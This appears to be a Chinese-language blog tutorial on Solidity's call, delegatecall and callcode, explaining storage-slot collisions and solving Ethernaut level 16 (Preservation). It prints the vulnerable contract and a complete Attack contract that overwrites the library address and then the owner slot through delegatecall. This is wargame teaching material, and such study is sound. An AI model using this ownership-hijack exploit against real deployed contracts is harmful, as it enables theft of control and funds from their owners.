Article Summary
GPT 4

原理

三种调用函数

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

中的内置变量 msg 会随着调用的发起而改变,msg 保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。

异同点

call :调用后会将msg的值修改为调用者,执行环境为被调用的运行环境

delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)

callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境

delegatecall语法和call类似,也是:

目标合约地址.delegatecall(二进制编码);


其中二进制编码利用结构化编码函数abi.encodeWithSignature获得:

abi.encodeWithSignature("函数签名", 逗号分隔的具体参数)


函数签名为"函数名(逗号分隔的参数类型)"。例如abi.encodeWithSignature("f(uint256,address)", _x, _addr)。

和call不一样,delegatecall在调用合约时可以指定交易发送的gas,但不能指定发送的ETH数额

delegatecall的滥用

威胁分析

delegatecall 调用有 addressmsg.data 两个参数

msg.data 可控,则可调用 address 处任意函数

原因分析

pragma solidity ^0.4.23;

contract A {
    address public c;
    address public b;

    function test() public returns (address a) {
        a = address(this);
        b = a;
    }
}

contract B {
    address public b;
    address public c;

    function withdelegatecall(address testaddress) public {
        testaddress.delegatecall(bytes4(keccak256("test()")));
    }
}

当部署两个合约后,使用外部账户调用withdelegatecall函数。

A合约中,c=0;b=0;

B合约中,b=0;c=address (A)

事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。

题目

ethernaut 第 16 题

pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
分析

要想改变owner,只有constructor函数,但是有delegatecall漏洞。

setFirstTime(uint _timeStamp)

setSecondTime(uint _timeStamp)

这两个函数是调用setTime函数。也就是说,当我们第一次调用setFirstTime函数时,就会设置solt0为攻击合约的地址,第二次调用该函数时就会调用该合约的函数即,改变的是solt2。

pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract Attack {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  Preservation public target; // target Preservation contract

  constructor(address _target) public {
    target = Preservation(_target);
  }

  function attack1() public {
    target.setFirstTime(uint256(uint160(address(this))));
    target.setFirstTime(uint256(uint160(msg.sender)));
  }

  // overwrite the library addresses and owner address
  function setTime(uint _time) public {
   owner=address(uint160(_time));
  }
}

调用attack1().